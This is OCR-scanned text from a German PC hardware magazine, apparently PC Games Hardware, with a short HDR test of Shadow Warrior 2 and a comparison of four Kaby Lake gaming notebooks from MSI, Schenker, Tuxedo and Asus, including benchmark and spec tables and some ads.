nur 1080p-Auflösung. Viele aktuel- 
le TV-Geräte sind durchaus „spiel- 
bar” geworden. Nach wie vor sind 
es aber ausschließlich Monitore, 
die das geringste Input Lag haben. 
Außerdem werden dort nur ameri- 
kanische TV-Modelle gelistet. Eine 
Datenbank mit den europäischen 
Versionen ist bei der britischen 
Website hdtvtest.co.uk zu finden. 


HDR in Shadow Warrior 2 

Mal davon abgesehen, dass HDR 
gerade erst im Kommen ist - erst 
recht, was den PC angeht - wollen 
wir natürlich jetzt schon wissen, 
wie die Milliarde Farben auf uns 
wirkt. Im TV-Labor haben wir das 
Intro von Shadow Warrior 2 inSDR 
und HDR abgefilmt und beide Ver- 
sionen miteinander verglichen. Am 
riesigen 50-Zoll-Fernseher von Pa- 
nasonic konnten wir beim Intro in 
HDR zunächst keinen Unterschied 
erkennen. Unser erster HDR-Ein- 
druck fiel daher ernüchternd aus. 


Im Netz liest man Erfahungsberich- 
te, die ein Erlebnis schildern, das 
dem eines Kindes gleicht, welches 
zum ersten Mal vor einer Spie- 
lekonsole sitzt. Den Wow-Effekt 
haben wir zwar nicht unbedingt 
erwartet, wohl aber ein deutliches 
Vorher-Nachher-Erlebnis. 


Erst im Spiel waren einige feine 
Unterschiede zu erkennen. Etwa 
wenn die Sonne den Hintergrund 
in wenigen hellen Abstufungen 
eindeckt, so weist dieselbe Szene in 
HDR feinere Details auf - wie auch 
links im Bildvergleich zu erkennen 
ist. Dass aber im Vordergrund die 
Farben anders oder gar kräftiger 
wirken, können wir wirklich nicht 
bestätigen. In dunklen Räumen 
war dank des satten Schwarzwer- 
tes des TV-Geräts entsprechend 
wenig zu sehen. Mit aktiviertem 
HDR werden Details sichbar, so als 
hätte man lediglich den Gamma- 
Wert nach oben gedreht, der in den 
Grafikeinstellungen mancher Spie- 
le vorhanden ist. 


Bei Shadow Warrior 2 gibt es einen 
HDR-Brightness-Regler, mit dem 


der Dynamikumfang an das Display 
etwas angepasst werden kann. Ein 
höheres Gamma würde alle Far- 
ben des Bildes ändern. Die HDR- 
Anzeige im Spiel zeichnet dunkle 
Bereiche heller und detailreicher, 
überblendet dafür aber helle Aus- 
schnitte, wie etwa eine Kerze im 
dunklen Raum, nicht. Dennoch 
wirkt die dunkle SDR-Darstellung 
manchmal etwas realistischer, was 
ein spontaner Blindtest bestätigte: 
„Oh, ja, das Bild sieht jetzt wirklich 
besser aus!“, staunte der Kamera- 
mann. Ich: „Ehrlich gesagt, habe ich 
HDR gerade ausgeschaltet.“ (mc) 


Fazit Hardware 


HDR? Warten lohnt sich. 

HDR gibt es zwar schon jetzt, deswe- 
gen aber zum Zocken auf ein TV-Dis- 
play umzusteigen, lohnt kaum. Denn 
mit Freesync 2 und G-Sync HDR wird 
dieselbe Bildqualität mit wesentlich 
niedrigerem Input Lag möglich. Dieses 
Jahr noch sollen die ersten Monitore 
kommen, die zwar teuer sein werden, 
aber noch immer günstiger als gute 
HDR-TV-Geräte. 
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Mobile Kaby Lakes 


Neues Jahr, neue CPU-Generation: Die neuen Kaby Lakes von Intel kommen so langsam, aber sicher 


auch in Notebooks. Manche Hersteller haben ihre Geräte schon entsprechend neu aufgelegt. 


vidias aktuelle Pascal-Genera- 
N: ist bis auf die GTX 1050 
schon mehrere Monate alt und hat 
die Vorgänger-Grafikchips mitt- 
lerweile flächendeckend abgelöst. 
Dementsprechend testeten wir in 
Ausgabe 12/2016 neue Gaming- 
Notebooks mit Pascal-Grafik und 
Skylake-CPUs. Am Jahresanfang hat 


Intel die neue Prozessor-Generati- 
on Kaby Lake veröffentlicht, was 
wir zum Anlass nehmen, neue Ge- 
räte mit aktuellen Rechenchips zu 
testen. Bereits im Herbst letzten 
Jahres, auf der IFA, hat Intel einige 
Kaby-Lake-CPUs vorgestellt. Dabei 
handelte es sich bei Weitem nicht 
um das ganze Portfolio, sondern 


nur um wenige sparsame Dop- 
pelkerner der Y- und U-Serie. Die 
leistungsstarken Vierkern-Modelle 
der H-Serie, die für Gaming-Geräte 
interessant sind, erschienen zu- 
sammen mit den Desktop-CPUs. 
Der Intel Core i7-7700HQ etwa ist 
der günstigste Quad-Core mit acht 
Threads der 45-Watt-Oberklasse 


und in drei unserer vier Kaby-Lake- 
Notebooks installiert. Im Vergleich 
zum Vorgänger, dem i7-6700HQ, 
hat sich recht wenig getan. Der 
Basistakt ist um 200 MHz auf 2,8 
GHz angewachsen und der Turbo 
dreht nun bis 3,8 GHz hoch, an- 
statt „nur“ bis 3,6 GHz. Bei beiden 
Chips handelt es sich um einen 
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14-nm-Fertigungsprozess, in der 
Kaby-Lake-Generation soll dieser 
aber verbessert worden sein. Was 
immer das auch heißen mag, denn 
Intel verrät nicht, was genau verän- 
dert wurde. Im Marketing wird das 
dennoch ausgeschlachtet, indem 
die Fertigung ,14+“ genannt wird. 


Neu bei Kaby-Lake-CPUs, egal ob 
Desktop oder Notebook, ist die 
Speicherunterstützung von DDR4- 
2400, die in allen hier getesteten 
Notebooks von einem entspre- 
chend aktuellen RAM-Modul ge- 
nutzt wird. Die in der CPU integ- 
rierte Intel-GPU HD Graphics 630 
ist ebenso etwas leistungsfähiger als 
ihr Vorgänger 530 und verfügt über 
eine verbesserte Videoengine, die 
10-Bit-Farbtiefe unterstützt. Für Ga- 
ming-Notebooks ist das aber nicht 
relevant, da hier stets eine dedizier- 
te Nvidia-GPU zur Verfügung steht. 


Die vier Kaby-Lake- 
Stichproben 

Aus der riesigen Landschaft an 
Modellen und Ausstattungsvari- 
anten haben wir vier Stichproben 
erhoben, die sowohl in der Aus- 
stattung als auch Leistung recht un- 
terschiedlich sind. Das MSI GE62 
7RE-088 etwa ist der einzige 15-Zöl- 
ler unter den Vieren. Mit einer Ge- 
force GTX 1050 Ti hat er zwar die 
neueste Pascal-Grafik, aber auch 
die schwächste. Die großen 17-Zól- 
ler warten mit einer GTX 1060 oder 
GTX 1070 auf. Logischerweise sind 
diese nicht nur leistungsfähiger, 
sondern auch deutlich teurer - sie 
kosten teils das Doppelte eines MSI 
GE62. Natürlich gibt es auch von 
MSI leistungsfähigere und größere 
Modelle, wie von jedem Hersteller. 
Bei Schenker und Tuxedo handelt 
es sich außerdem um deutsche 
Händler, die im Shop eine individu- 
elle Konfiguration ihrer Notebook- 
Modelle anbieten. 


MSI GE62 7RE-088: Nicht die Leistung, 
aber die Ausstattung überzeugt. Das 
Aluminium-Chassis ist nicht nur 
ein Hingucker, auch die Qualität 
überzeugt beim MSI-Vertreter. Mit 
vier USB-Anschlüssen herrscht 
zwar keine Anschlussvielfalt, mit 
einer Typ-C-Buchse, zwei Klinken- 
anschlüssen und Gigabit-LAN lässt 
das Geràt aber auch nichts Wesent- 
liches vermissen. Aufserdem fin- 
det an der rechten Seite auch ein 
DVD-Laufwerk Platz. Die Tastatur 
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Disclaimer: Von Àpfeln und Birnen in der Wertung 


Ein Wertungssystem steht in der Kritik, sobald es existiert. Deswegen ein paar Worte zur Aussagekraft der Test- 
noten generell und warum wir sie trotzdem vergeben. 


Gleich vorneweg: Bei Notebooks ist die 
Aussagekraft der Endnote unseres bzw. 
eines Wertungssystems generell relativ 
gering. Bei einer Grafikkarte oder SSD 
ist eine Wertung relativ simpel gestrickt: 
Man nehme Effzienz, beispielsweise 
Stromverbrauch, zusammen mit der 
Leistung, etwa Fps oder andere Bench- 
markwerte, würze das Ganze mit einem 
kleinen Faktor Ausstattung und fertig 
ist die Testnote. Beispiel Grafikkarte: 
Hóhere Fps bedeuten in der Regel auch 
eine bessere Note. Die Kaufentschei- 
dung ist dann für viele Kunden einfach 
gefällt, nämlich mit einem Kompromiss 
aus Fps-Schmerzgrenze und Budget. 
In der Gesamtwertung von Notebooks 
aber werden Kriterien in einen Top 
geworfen, die nur indirekt oder auch 
nichts miteinander zu tun haben. Und 
bei Notebooks sind das mehr als in jeder 
anderen Wertung. Eine bessere No 
ist daher nicht unbedingt ein besse 
Notebook, da die Ansprüche eines 


von Steelseries konnte im Test mit 
ihrem knackigen Druckpunkt über- 
zeugen. Zudem ist ihre Beleuch- 
tung nicht nur reines Regenbogen- 
Geleuchte, sondern kann auch je 
nach Spiel konfiguriert werden. 
Dadurch wird ihr eine sinnvolle 
Funktion zuteil, indem etwa die 
Farbe je nach Lebenspunkten von 
Grün über Gelb in Rot übergeht. Es 
sind solche Details, die das Geràt 
ausmachen - und nicht unbedingt 
die GPU-bedingte, mittelmäßige 
Spieleleistung. 


Wie alle Testmodelle verfügt auch 
das MSI GE62 über ein qualitativ 
hochwertiges IPS-Display mit gu- 
ter Blickwinkelstabilitàt und hoher 
Helligkeit. Hier messen wir 328 cd/ 
m?, was auch für einen Betrieb im 
Freien ausreicht. Auch das Kont- 
rastverháltnis mit 1000:1 sowie die 
gleichmäßige Ausleuchtung mit 
Differenzen bis zu fünf Prozent 
sind gute Werte über dem Durch- 
schnitt. Die Displays aller vier 
Geräte liegen in etwa auf gleich 
hohem Niveau und unterscheiden 
sich hier nur unwesentlich. Auch 
die Full-HD-Auflösung mit 1.920 
x 1.080 Pixel ist hier noch ausrei- 


zers individuell sind, das Testsystem aber 
stets fest — zumindest innerhalb einer 
Testreihe. Daher kann unsere Endnote 
die bewerteten Modelle nicht auf einer 
eindimensionalen Skala zwischen Gut 
und Schlecht einordnen, wie es etwa Fps 
tun. Sie bietet lediglich eine Orientie- 
rung für die Gesamtleistung und nicht 


unbedingt eine direkte Vergleichbarkeit 
der Modelle untereinander. Wir könnten 
die Note ganz abschaffen und Details 
nur mit Plus und Minus auszeichnen, 
wie andere Medien. Damit würde jedoch 
die Orientierungshilfe entfallen, die wir 
Ihnen bieten möchten. Was meinen Sie? 
Schreiben Sie uns an mcGpcgh.de. 


Synthetische Benchmarks: Starke Leistungen 


3DMark (Time Spy) 
Asus ROG G752V (GTX 1070/8G) [IW 5.356 (Basis) 
Schenker ХМС P707 (GTX 1070/8G) Eu 5.317 (-1 96) 
Tuxedo XC1707 v2 (GTX 1060/6G) E 3.827 (-29 96) 
MSI GE62 (GTX 1050 Ti/AG) Eu 2.488 (-54 %) 


3DMark (Fire Strike) 
Asus ROG G752V (GTX 1070/86) 13.864 (Basis) 
Schenker ХМС P707 (GTX 1070/8G) | 12.759 (-8 96) 
Tuxedo XC1707 v2 (GTX 1060/6G) EX 9.946 (-28 96) 
MSI GE62 (GTX 1050 Ti/AG) EN 6.856 (-51 96) 


PCMark 8 (Home Conventional) 
Schenker ХМС P707 (GTX 1070/8G) Eu 4.380 (Basis) 
Tuxedo XC1707 v2 (GTX 1060/6G) E 4.287 (-2 96) 
Asus ROG G752V (GTX 1070/8G) EXXXXZIZ 4.058 (-7 96) 
MSI GE62 (GTX 1050 Ti/4G) EXE 3.331 (24 %) 


Cinebench R15 (Single) 
Schenker ХМС P707 (i7-7820HK) EX 168 (Basis) 
Tuxedo Book XC1707 v2 (17-7700Н0) Em 161 (4 96) 
Asus ROG G752V (i7-7700HQ) Ew 148 (-12 96) 
MSI GE62 (i7-7700HQ) Em 144 (-14 %) 


Cinebench R15 (Multi) 
Schenker ХМС P707 (i7-7820HK) EX 774 (Basis) 
Tuxedo Book XC1707 v2 (i7-7700HQ) EX 747 (-3 %) 
Asus ROG G752V (17-7700Н0) E 746 (-4 96) 
MSI GE62 (i7-7700HQ) | 733 (-5 96) 


System: Windows 10 x64 Bemerkungen: Es ist wenig überraschend, dass die 
3D-Leistung stark zwischen den GPU-Modellen variiert. Dank ähnlicher Prozessoren 
schwankt die Bewertung der Gesamtleistung per PCMark nicht ganz so deutlich. 


Punkte 
» Besser 
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Die erste Kaby-Lake-Charge 


Anfang Januar waren Modelle mit den neuen Intel-CPUs noch rar. Wir 
konnten gerade noch rechtzeitig vier Modelle ins Testlabor zitieren. 


MSI GE62 7RE-088 Apache Pro 


Mit einer Geforce GTX 
1050 Ti ist flüssiges Spielen 
nur mit einigen Kompro- 
missen bei den Grafikein- 
stellungen móglich. Dafür 
überzeugt das MSI-Gerät in 
vielen anderen Details. 


Tuxedo Book XC1707 v2 


Andere große Hersteller 
hatten für uns noch kein 
Kaby-Lake-Notebook 
parat, daher ergatterte die 
Ausburger Linux-Marke 
den Underdog-Platz im 
Test. Das Tuxedo Book 
steht bekannten Marken in 
nichts nach. 


Schenker bietet satte 
Spieleleistung auf engem 
Raum — mehr Leistung 
muss ergo nicht unbedingt 
mehr Gewicht bedeuten. 
Das beweist das aktuelle 
Pro-Gaming-Modell. 


Asus ROG G752V-BA340T 


Das Asus-Notebook ist mit 
Abstand das größte und 
schwerste Modell im Test. 
Während dünnere Note- 
books mit gleicher Rechen- 
leistung lärmen, bleibt das 
Asus-Modell unter einer 
Staubsauger-Lautstärke. 
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chend, wenn auch das Minimum 
für ein Gaming-Notebook. G-Sync 
oder ein Display mit höherer Bild- 
wiederholrate sucht man in dieser 
Preiskategorie ohnehin vergebens. 
Die Geforce GTX 1050 Ti ist die 
neueste der Pascal-GPUs, welche 
überraschenderweise sogar etwas 
leistungsfähiger ist als das Desk- 
top-Pendant. Dennoch müssen bei 
aktuellen Spielen die Grafikdetails 
heruntergeschraubt werden, damit 
sie flüssig laufen. 


Neben einer 1-TByte-Festplatte 
findet eine SATA-SSD im M.2-For- 
mat mit 256 GByte im Gerät Platz, 
welche die Systempartition beher- 
bergt. Dabei hat das Mainboard 
einen M.2-PCle-Slot - eine aktuelle 
und entsprechend schnellere NV- 
Me-SSD vermissen wir hier. Für die 
Spieleleistung ist der Unterschied 
beider Protokolle jedoch vernach- 
lässigbar. 


Solange man auf dem Windows- 
Desktop 2D-Arbeiten 
verrichtet, arbeitet das Notebook 
zunächst lautlos. Nach einiger Zeit 
springt der Lüfter an, wenn auch 
nur leise. In diesem Zustand mes- 


einfache 


sen wir eine Lautheit von maximal 
1,1 Sone. Sobald ein aktuelles Spiel 
läuft, dreht der Lüfter hörbar auf 
bis zu 3,6 Sone. Da hilft es nur, den 
Sound aufzudrehen oder gleich 
aufs Headset umzusteigen. Über 
eine Taste lassen sich die Lüfter 
zudem manuell voll aufdrehen. Da 
das Notebook dann aber mit bis zu 
6,6 Sone die Geräuschkulisse eines 
Staubsaugers imitiert und das CPU- 
GPU-Gespann durch die bessere 
Kühlung auch nicht mehr leistet, 
sondern lediglich etwas kühler 
läuft, hält sich der praktische Nut- 
zen dieser Funktion in Grenzen. 


Mit circa 1.500 Euro Straßenpreis 
ist das MSI GE62 mit dieser CPU- 
GPU-Kombination nicht unbedingt 
ein Preis-Leistungs-Knaller, da gibt 
es weitaus günstigere Modelle. Es 
sind andere Details, die den rela- 
tiv hohen Preis rechtfertigen: Ein 
makellos verarbeitetes Alumini- 
umgehäuse, ein gutes Display, po- 
tente Hardware, Top-Tastatur mit 
individueller Beleuchtung und De- 
tails wie 2.1-Audio oder Killer-LAN 
machen den Apachen zu einem Ga- 
ming-Notebook, dem es eigentlich 
kaum an etwas mangelt. Auch mit 
dem umfangreichen Softwareange- 
bot, das einen Display, Sound oder 
Tastatur individuell konfigurieren 
lässt, fühlt sich ein anspruchsvoller 
Anwender gut aufgehoben. 


Schenker XMG P707 Pro: Viel Leis- 
tung, hoher Preis. Das Clevo-Chassis 
des Schenker-Notebooks spaltet 
das Internet: Während die einen 
es für makellos halten, finden sie 
andere für ein High-End-Notebook 
unwürdig. Letzteres können wir 
nicht nachvollziehen. Schließlich 
können wir an der Verarbeitung 
keinerlei Makel feststellen - weder 
hier, noch bei vorherigen Tests. Au- 
ßerdem ist die Basiseinheit so steif 
und robust wie kaum eine andere. 
Lediglich der Display-Deckel ist 
schlechtestenfalls mittelmäßg, was 
unsererseits nicht zu beanstanden 
ist. Ohne Laufwerk für optische Da- 
tenträger ist es zudem recht dünn 
und kompakt für ein 17-Zoll-Note- 
book. Es ist also durchaus ein mobi- 
ler Begleiter, etwa für LAN-Partys. 
Die drei Kilogramm machen das 
Gerät zwar nicht unbedingt zum 
Leichtgewicht, jedoch ist es nicht 
schwerer als andere in dieser Gö- 
ßenklasse. Deutlich größer und 
schwerer ist hier durchaus mög- 


Spiele-Benchmarks (Full HD) 


The Witcher 3, maximale Details ohne Gameworks - „Boat Trip” 
Schenker ХМС P707 (GTX 1070/8G) 100,1 (Basis) 
Asus ROG G752V (GTX 1070/8G) Est E 026 (-7 %) 
Tuxedo XC1707 v2 (GTX 1060/6G) Een! 63,3 (-37 96) 
MSI GE62 (GTX 1050 Ti/4G) oer 38,9 (-61 96) 
The Vanishing of Ethan Carter Redux, Res. Scale 150%, TAA - ,, Tracks" 
Schenker ХМС P707 (GTX 1070/8G) 75,8 (Basis) 
Asus ROG G752V (GTX 1070/8G) ВЕСЕО 73,7 (-3 96) 
Tuxedo XC1707 v2 (GTX 1060/6G) Earn 51,8 (-32 96) 
MSI GE62 (GTX 1050 Ti/4G) ME 32,4 (-57 96) 


sogar durchgängig mehr als 60 Bilder pro Sekunde. 


System: Windows 10 x64 Bemerkungen: Ab einer mobilen Geforce GTX 1060 kann 
über maximale Grafikdetails nachgedacht werden, die GTX 1070 erreicht in den Tests 


Mimil 2 Fps 


» Besser 


Y 


@ENERMAX 2016. Alle Rechte vorbehalten. Alle Warenzeichen sind Eigentum der jeweiligen Inhalber. Änderungen ohne vorherige Ankündigung vorbehalten“ 


lich, wie wir am Asus-Gerát noch 
feststellen werden. 


Als einziges Testgerät verfügt das 
Schenker über einen etwas stär- 
keren Prozessor, den Intel Core 
i7-7820HK. Vom bereits erwähn- 
ten i7-7700HQ unterscheidet er 
sich nur durch einen um 100 MHz 
hóheren Basistakt und den offe- 
nen Multiplikator. Es handelt sich 
also um das Übertakter-Modell der 
Kaby-Lake-H-Serie. Zusammen mit 
der Nvidia-GPU Geforce GTX 1070 
lässt sie bei aktuellen Spielen keine 
Wünsche offen: Maximale Grafik- 
qualität und hohe Frameraten über 
60 Fps sind hier kein Widerspruch, 
sondern locker machbar. Mit 16 
GiByte DDRÁ-RAM ist außerdem 
genügend Arbeitsspeicher vorhan- 
den. Zusammen mit G-Sync bis 75 
Hz steht einem flüssigen Spiele- 
erlebnis nichts im Weg. 


Auch die Festplatten-Ausstattung 
ist mehr als üppig. Neben einer 
2-TByte-HDD ist als Systemlauf- 
werk eine Samsung $M961 mit 


GCLD 


512 GByte an Kapazität im Gerät. 
Dabei handelt es sich um ein OEM- 
Modell mit NVMe-Protokoll im M.2- 
Formfaktor, das fast so s ell ist 
wie die aktuelle Nonplusultra-SSD, 
die Samsung 960 Pro. Die Euphorie 
wird nur dadurch getrübt, dass die 
SSD im Gerät noch immer mit dem 
fehlerhaften Windows-Standard- 
treiber läuft. Dieser liefert unter- 
irdische sequenzielle Schreibraten 
in Benchmarks von circa 30 MB/s, 
die aber bei gut 1.500 MB/s liegen 
müssten. In der Praxis tun sie das 
auch, dennoch irritiert dieses Man- 
ko nach wie vor den Nutzer. Leider 
ist hier auch keine Abhilfe möglich, 
denn Samsungs NVMe-Treiber ist 
nicht zu OEM-Modellen kompati- 
bel, ebensowenig wie die das SSD- 
Tool des Herstellers. 


Das IPS-Panel von Phillips löst zwar 
nur mit Full HD auf, schafft es aber 
in der Maximalhelligkeit auf einen 
Top-Wert über 365 cd/m?. In ge- 
schlossenen Räumen ist lediglich 
ein Wert von etwa 250 cd/m? nötig. 
Trotz des hellen Displays ist der 
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Mobil-GPUs sind in der Regel etwas langsamer als die Desktop-Variante 
— bei der GTX 1050 und der Ti-Version ist es genau umgekehrt. 


Bei der GTX 1050 Non-Ti fällt auf, dass die Mobilversion mit 4 GiByte Grafik- 
speicher ausgestattet wird — und damit doppelt so viel wie die Desktopversion. 
Außerdem liegen Basis- und Boosttakte höher. Deutlicher fallen die Unterschiede 
bei der GTX 1050 Ti aus, wie die Tabelle zeigt. 


Shader-ALUs 640 


GTX 1050 Ti 
Desktop 


640 768 768 


1.354MHz | 1354MHz | 1.493 MHz | 1.290 MHz 
1.493 MHz | 1455MHz | 1.620MHz | 1.392 MHz 


Speichertransferrate 112 GB/s 112 GB/s 112 GB/s 112 GB/s 
Grafikspeicher 4 GiByte 2 GiByte 4 GiByte 4 GiByte 


Kontrast mit 913:1 recht gut und 
auch die Ausleuchtung ist ohne 
größere Defizite. 


Eine Top-Leistung mit Top-Aus- 
stattung resultiert in einen eben- 
solchen Preis: In dieser Variante 
ist das Schenker-Gerät nicht unter 
3.000 Euro zu haben. 


Linux-Alternative im 
Schenker-Gewand Es ist kein Ge- 
heimnis, dass Tuxedo das Gehäu- 
se ebenso wie Schenker bei Clevo 
einkauft. Aber nicht nur äußerlich 
ähneln sich die beiden Modelle, 
auch einige technische Details 
sind identisch: So ist etwa die Ak- 
kukapazität mit ca. 60 Wh gleich, 


STEELWING 


A NO 


Aluminium Cräftmanship 


0800-ENERMAX 
enermax.de 


alternate.de | amazon.de | boracomputer.de | computeruniverse.net | direkt.jacob.de | ditech.at | mindfactory.de | notebooksbilliger.de 
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ebenso wie das Phillips-Panel, die 
Onkyo-Boxen und das Touchpad 
mit Fingerabruck-Scanner. War- 
um wir dennoch unterschiedliche 
Werte nennen, etwa bei der Akku- 
laufzeit, ist mit Messtoleranzen zu 
erklären. Die recht hohe Lautheit 
von etwa 3,0 Sone unter Last ist 
bei beiden gleich. Trotzdem gibt 
es auch sichtbare Unterschiede, die 
schon am Logo auf dem Display- 
rücken anfangen. Auch ist die 
Tastatur beim Pinguin nicht die 
gleiche. Während die Tasten im 
Schenker seitlich in individuell ein- 
stellbarer Farbe leuchten, kommt 
beim Tuxedo nur weißes Licht 
aus den Tastenzwischenräumen. 
Zudem testeten wir das Tuxedo in 
einer schwächeren Hardware-Aus- 
stattung, also mit einer GTX 1060 
und einem i7-7700HQ. Die üppige 
Anschlussausstattung gefällt uns 
bei beiden Geräten. Zweimal USB- 
C und zweimal Mini Displayport 
sind nicht selbstverständlich und 
bedienen auch anspruchsvolle An- 


wender. Ebenso löblich ist die Posi- 
tionierung einiger Buchsen an der 
Rückseite. So kommen sich mehre- 
re Stecker nicht in die Quere und 
es herrscht mehr Ordnung auf dem 
Schreibtisch. 


Wer nun denkt, man muss sich 
beim Tuxedo Book nur mit Linux 
herumschlagen, dem sei gesagt: 
Tuxedo bietet optional Windows 
vorinstalliert. Während das Schen- 
ker zum Testzeitpunkt noch nicht 
auf dem Markt ist, gibt es das Tuxe- 
do Book in gleicher Konfiguration 
zu einem niedrigeren Preis. Daher 
ist es unser Preis-Leistungs-Tipp. 


Asus ROG G752V: Ein nicht gerade 
mobiles Format. Nicht erst im direk- 
ten Vergleich fallen die wuchtigen 
Maße des Asus ROG G752V auf. 
Obwohl die Bildschirmdiagona- 
le ebenso 17,3 Zoll beträgt, ist es 
doch um einige Zentimeter länger, 
breiter und dicker. Die Basiseinheit 
ragt nach hinten etwas heraus. Nun 


GAMING- 
NOTEBOOKS 


Auszug aus Testtabelle 
mit 34 Wertungskriterien 


Produkt 


Hersteller/Vertrieb Asus 


ROG G752V 


ist ein herkömmlicher 17-Zöller 
schon kein Fliegengewicht, vor al- 
lem, wenn man das halbe Kilo des 
Netzteils dazurechnet. Mit rund 4,5 
kg ist das Asus G752V aber noch 
mal 1,5 kg schwerer und das dis- 
qualifiziert es als mobilen Beglei- 
ter. Wer aber mit einem Plus-Size- 
Modell kein Problem hat, wird mit 
einem großzügig dimensionierten 
Akku belohnt. Mit über 90 Wh ist 
er deutlich größer als diejenigen in 
anderen 17-Zoll-Geräten. In unse- 
rem praxisnahen Benchmark, der 
Surfen und Office-Arbeiten simu- 
liert, hielt das G752V fast vier Stun- 
den ohne Stromanschluss durch. 
Die anderen 17-Zoll-Modelle liefen 
hier keine drei Stunden. 


Das Gehäuse ist nicht nur groß, 
sondern auch gut verarbeitet und 
weist eine recht gute Haptik auf. 
Das Touchpad etwa ist glatt und 
erlaubt eine präsize Bedienung des 
Cursors. Die Kombination aus Alu- 
minium und mattweichem Kunst- 


Asus 
POG 6252у 


Нагйшаге 


XMG P707 Pro 


Schenker 


Book XC1707 v2 


Tuxedo 


stoff wirkt nicht nur edel, sondern 
fühlt sich richtig gut an. Außerdem 
ist im Gehäuse Platz für eine effi- 
ziente Kühlung. Wie andere Note- 
books bleibt auch dieses auf dem 
Desktop lautlos, pfeift dafür aber 
nicht so penetrant unter Last. Die 
Lüfter rauschen fast angenehm 
wie Meereswellen. Das Messge- 
rät meldet einen relativ niedrigen 
Wert von nur 2,1 Sone. Das macht 
es nicht nur zum schwersten, son- 
dern auch zum leisesten Notebook 
der Testcharge. 


Wie schon erwähnt, sind alle Dis- 
plays in etwa gleich gut in der 
Bildqualität. Das Panel im Asus aber 
kann hier mit G-Sync bis 120 Hz her- 
vorstechen. Das macht selbst eine 
Full-HD-Auflösung verschmerzbar. 
Andere Merkmale, wie etwa ein 
Blu-ray-Brenner oder sechs pro- 
grammierbare Hotkeys, machen 
das Gerät zum vollwertigen Desk- 
top-Ersatz, der nicht nur mit Leis- 


(mc) 


tung glänzt. 


PREIS-LEISTUNGS-TIPP 


Tuxedo 
Book XC 1207 v2 


Hardware 


GE62 7RE-088 
MSI 


Ca. € 3.100,-/befriedigend 


Ca. € 2.000,-/gut 


Ca. € 1.500,-/ausreichend 


Preis/Preis-Leistungs-Verhäl 
Ausstattung (20 %) 
Prozessor 


1,66 


PCGH-Preisvergleich Ca. € 2.400,-/gut 
is 


www.pcgh.de/preis/1562436 


Intel Core i7-7700HQ, 4 x 2,8 GHz 


1,96 


Noch nicht aufgeführt 


Intel Core i7-7820HK, 4 x 2,9 GHz 


Nicht aufgeführt 
1,86 
Intel Core i7-7700HQ, 4 x 2,8 GHz 


www.pcgh.de/preis/1558309 
2,23 
Intel Core i7-7700HQ, 4 x 2,8 GHz 


Details, 15096 Res. Scale, TAA) 
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Q Relativ leise unter Last 
© Riesiger Akku, daher lange Laufzeit 


© Groß und schwer 


Wertung: 1,86 


© Top-Ausstattung 
© Stabiles Gehäuse 


© Fehlerhafte SSD-Treiber 


Wertung: 1,98 


Grafikkarte Nvidia Geforce GTX 1070/8G Nvidia Geforce GTX 1070/8G Nvidia Geforce GTX 1060/6G Nvidia Geforce GTX 1050 Ti/4G 

Hauptspeicher 16 GiByte DDRA-2400 16 GiByte DDR4-2400 32 GiByte DDR4-2400 16 GiByte DDR4-2400 

Interner Speicher 256 GB NVMe-SSD (M.2), 1 TB HDD 512 GB NVMe-SSD (M.2), 2 TB HDD 256 GB NVMe-SSD (M.2) 256 GB SATA-SSD (M.2), 1 TB HDD 

Display 17.3 Zoll, 1.920 x 1.080 px, 120 Hz, 17.3 Zoll, 1.920 x 1.080 px, 75 Hz, G-Sync, |17.3 Zoll, 1.920 x 1.080 px, 60 Hz, G-Sync, | 15.6 Zoll, 1.920 x 1.080 px, 60 Hz, IPS 
G-Sync, IPS IPS IPS 

Anschlüsse 1 x mDP, 1 x HDMI, 4 x USB 3.0, 2 x USB |2 x mDP, 1 x HDMI, 3 x USB 3.0, 2 x USB |2 x mDP, 1 x HDMI, 3 x USB3.0, 2 x USB |1 x mDP 1 x HDMI, 1 x USB 2.0, 2 x USB 
3.1 (Typ C), RJ-45, Digital Line-Out, Line In, [3.1 (Тур C), RJ-45, Digital Line-Out, Line In, — 3.1 (Typ C), RJ-45, Digital Line-Out, Line In, — |3.0, 1 x USB 3.1 (Typ C), RJ-45, Line-Out, 
Mikrofon, SD-Reader Mikrofon, SD-Reader Mikrofon, SD-Reader Mikrofon, SD-Reader 

Akkukapazität/Laufzeit 96,5 Wh/3 Std. 59 Min. 59,2 Wh/2 Std. 29 Min. 60,2 Wh/2 Std. 42 Min. 53,2 Wh/3 Std. 25 Min. 

Besondere Ausstattung Beleuchtete Tastatur (nur rot), Blu-ray-Brenner, |Beleuchtete Tastatur (RGB), Anschlüsse an der |Beleuchtete Tastatur (nur Weiß), Anschlüsse \Beleuchtete Tastatur (RGB), Hotkey für Lüf- 
sechs Hotkeys Rückseite, Lautsprecher von Onkyo an der Rückseite, Lautsprecher von Onkyo ter-Boost, Lautsprecher von Dynaudio 

Eigenschaften (20 %) 2,15 2,23 2,16 1,84 

Haptik und Ergonomie Sehr Gut Gut Gut Gut 

Bildqualität Gut Sehr gut Sehr gut Sehr gut 

Verarbeitung Sehr gut Sehr gut Sehr gut Sehr gut 

Gewicht 4,51 kg 3,36 kg 3,21 kg 2,46 kg 

Garantie 2 Jahre 2 Jahre (Pickup & Return) 2 Jahre 2 Jahre (Pickup & Return) 

Leistung (60 %) 1,83 1,90 2,13 2,54 

Cinebench R15 (CPU, Single/Multi) 148/746 Punkte 168/774 Punkte 161/747 Punkte 144/733 Punkte 

3D Mark (Timespy) 5356 Punkte 5317 Punkte 3827 Punkte 2488 Punkte 

The Witcher 3 (1080p, maximale Details |93,3 Fps/100,1 Fps 86,7 Fps/92,6 Fps 61,7 Fps/63,3 Fps 35 Fps/38,9 Fps 

ohne Gameworks) 

Ethan Carter Redux (1080р, maximale |69,7 Fps/75,8 Fps 68 Fps/73,7 Fps 41 Fps/51,8 Fps 29,8 Fps/32,4 Fps 


Q Individuell konfigurierbar 
© Stabiles Gehäuse 
© Geringe Speicherkapazität 


Wertung: 2,08 


© Brauchbare Tools 
© Gutes Gehäuse und Tastatur 
© Unter Last recht laut 


Wertung: 2,34 


ANZEIGE 


PUGH-Laptops 


MIT GEFORCE GTX 1070 UND GTX 1060 


chenker Technologies mit der Mar- 
Si XMG bietet optimale Konfigura- 
tionsmöglichkeiten, wenn es darum geht, 
einen Gaming-Laptop zusammenzustel- 
Die XMG-PCGH-Laptops gibt es 
zum tollen Vorteilspreis. Wenn Ihnen die 
Größe der SSD, der Festplatte oder des 
Arbeitsspeichers nicht zusagt, können Sie 


len. 


diese Bauteile vor der Bestellung einfach 
über den Laptop-Konfigurator ändern. 


Doch beginnen wir zunächst mit dem 
XMG P507 PCGH-Edition. Dieses Gerät 
